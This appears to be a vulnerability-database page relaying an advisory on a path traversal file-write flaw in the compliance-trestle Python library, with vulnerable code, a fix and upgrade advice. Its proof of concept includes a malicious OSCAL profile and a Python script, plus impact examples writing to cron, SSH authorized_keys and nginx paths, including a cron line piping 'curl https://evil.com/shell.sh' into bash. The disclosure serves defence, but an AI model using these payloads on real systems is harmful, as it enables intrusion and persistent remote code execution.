Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable fetch with low attacker privilege; scope changes because writes target OS-level files (cron, SSH) beyond the application boundary; no confidentiality or direct availability impact from the write primitive alone.
Primary rating from Vendor (https://github.com/oscal-compass/compliance-trestle).
CVSS VectorVendor: https://github.com/oscal-compass/compliance-trestle
Lifecycle Timeline
5DescriptionCVE.org
Summary
The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.
Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)
Affected Component
Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:259-266 - HTTPSFetcher cache path construction
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
# ...
if u.hostname is None:
raise TrestleError(f'Cache request for {self._uri} requires hostname')
https_cached_dir = self._trestle_cache_path / u.hostname
# ❌ path_parent preserves ../ sequences from URL
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True)
# ❌ Creates dirs outside cache
self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)cache.py:285-295 - Content written to traversed path
def _do_fetch(self) -> None:
# ...
response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
if response.status_code == 200:
result = response.text
# ❌ Attacker-controlled content
self._cached_object_path.write_text(result)
# ❌ Written to arbitrary pathcache.py:328-333 - SFTPFetcher (identical pattern)
class SFTPFetcher(FetcherBase):
def __init__(self, ...):
# Identical path construction - same vulnerability
sftp_cached_dir = self._trestle_cache_path / u.hostname
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
sftp_cached_dir = sftp_cached_dir / path_parent
sftp_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)Root Cause:
urlparse("https://evil.com/../../../tmp/pwned.json").path=/../../../tmp/pwned.json- preserves../pathlib.Path(u.path).parentpreserves traversal sequencescache_dir / hostname / "../../../../../../tmp"resolves outside cachemkdir(parents=True, exist_ok=True)creates intermediate directorieswrite_text(response.text)writes attacker-controlled content to traversed path- No
is_relative_to()boundary check on the resolved path
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2PoC: Malicious OSCAL Profile
# malicious_profile.yaml - arbitrary file write via cache traversal
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"PoC: Cache Path Traversal Simulation
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse
# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)
evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)
# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)
print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!
# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")
# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)
Remediation
Fix for HTTPSFetcher (cache.py:259-266):
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
https_cached_dir = self._trestle_cache_path / u.hostname
# ✅ Sanitize path: remove traversal sequences
safe_path = pathlib.PurePosixPath(u.path).parts
safe_path = [p for p in safe_path if p != '..' and p != '/']
path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = https_cached_dir / safe_path[-1]
# ✅ Boundary check
if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
raise TrestleError(
f"Cache path traversal blocked: URL '{uri}' resolves to "
f"'{self._cached_object_path.resolve()}' outside cache directory"
)Same fix required for SFTPFetcher at lines 328-333.
References
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-73: https://cwe.mitre.org/data/definitions/73.html
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
1. Cron Job Injection → Remote Code Execution
# Profile that writes a cron job
imports:
- href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"Attacker's server responds with:
* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'2. SSH Authorized Keys Injection
imports:
- href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"Attacker's server responds with their SSH public key.
3. Config File Overwrite
imports:
- href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"4. Python Path Hijacking
Write malicious .py file to a location on sys.path for code execution on next import.
AnalysisAI
Arbitrary file write with attacker-controlled content in IBM compliance-trestle (pip package) versions up to 4.0.2 and before 3.12.2 allows a network-positioned attacker with low privilege to escape the library's cache directory by embedding path traversal sequences in OSCAL profile import URLs. The HTTPSFetcher and SFTPFetcher components in trestle/core/remote/cache.py construct local cache paths directly from URL path components without sanitizing ../ sequences, permitting writes to arbitrary filesystem locations such as /etc/cron.d or /root/.ssh/authorized_keys. Publicly available exploit code (PoC) exists in the GitHub Security Advisory GHSA-g3vg-vx23-3858; no active exploitation has been confirmed by CISA KEV, and EPSS is very low at 0.05% (15th percentile).
Technical ContextAI
compliance-trestle (pkg:pip/compliance-trestle) is a Python library maintained under the oscal-compass project for authoring and validating OSCAL (Open Security Controls Assessment Language) documents. The vulnerability resides in trestle/core/remote/cache.py at lines 259-266 (HTTPSFetcher) and 328-333 (SFTPFetcher). Python's urllib.parse.urlparse preserves literal ../ sequences in the .path attribute - it does not resolve or normalize traversal segments. The vulnerable code slices u.path, computes its parent with pathlib.Path.parent (which also preserves traversal), and then concatenates this unvalidated fragment onto the cache root directory using the / operator, which in pathlib resolves relative segments. Because mkdir(parents=True, exist_ok=True) is subsequently called, any intermediate directories - including those outside the intended .trestle/.cache boundary - are created before write_text() drops attacker-controlled HTTP response content at the resolved location. CWE-73 (External Control of File Name or Path) captures the root cause: the URL path is externally controlled and is used directly to determine a filesystem write destination. CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) describes the structural consequence - no is_relative_to() boundary check is performed on the resolved path.
RemediationAI
Upgrade to compliance-trestle 4.0.3 (for the 4.x branch) or 3.12.2 (for the 3.x branch) - both are confirmed fixed versions per the GHSA advisory and the two patch commits: 89f4e53d159e8ff901da4d7c3b51c9556bd32ec0 and 9abc492329fcc8d0557182317de9bde854385da3 (https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0). The fix adds a PathSecurityValidator class that checks for ../ in URL paths before cache path construction and performs an is_relative_to() boundary check on the resolved path. If immediate patching is not possible, restrict the OS user account running trestle to a dedicated low-privilege account with no write access to sensitive paths (/etc/cron.d, ~/.ssh, /etc/nginx, Python sys.path directories) - note this limits the blast radius but does not prevent the traversal write to locations writable by that account. Additionally, avoid processing OSCAL profiles from untrusted or unauthenticated remote sources in automated pipelines until the patch is applied. Full advisory at https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-73 – External Control of File Name or Path
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58356
GHSA-g3vg-vx23-3858